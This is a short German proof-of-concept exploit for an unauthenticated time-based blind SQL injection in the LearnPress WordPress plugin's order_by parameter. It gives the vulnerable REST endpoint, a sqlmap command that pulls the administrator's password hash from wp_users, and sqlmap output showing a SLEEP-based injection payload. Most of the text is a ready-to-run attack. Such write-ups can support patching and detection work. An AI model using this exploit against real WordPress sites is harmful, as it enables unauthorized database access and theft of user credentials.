
Proof-of-Concept-Exploit für eine zeitbasierte Blind-SQL-Injection im LearnPress-WordPress-Plugin, die es nicht authentifizierten Angreifern ermöglicht, über den Parameter `order_by` sensible Daten zu extrahieren.
Zeitbasierte SQL-Injection
Beschreibung
Das Plugin bereinigt und escaped den Parameter order_by nicht ordnungsgemäß, bevor er in einer SQL-Anweisung verwendet wird, was zu einer SQL-Injection führt, die von nicht authentifizierten Benutzern ausgenutzt werden kann.
Verwundbare GET-Anfrage: https://vulnerablewordpress.com/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID&order=DESC&limit=10&return_type=html
GET-Anfrage speichern
sqlmap -r ~/sqli.req -p order_by --technique=T --sql-query = 'select user_pass from wp_users where id = 1'
sqlmap hat die folgende(n) Injektionsstelle(n) aus der gespeicherten Sitzung wiederaufgenommen:
Parameter: #1* (URI) Typ: zeitbasierte Blind-Injection Titel: MySQL >= 5.0.12 AND zeitbasierte Blind-Injection (query SLEEP) Payload: https://VULNERABLEWORDPRESS/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID AND (SELECT 7508 FROM (SELECT(SLEEP(5)))VVvd)&order=DESC&limit=10&return_type=html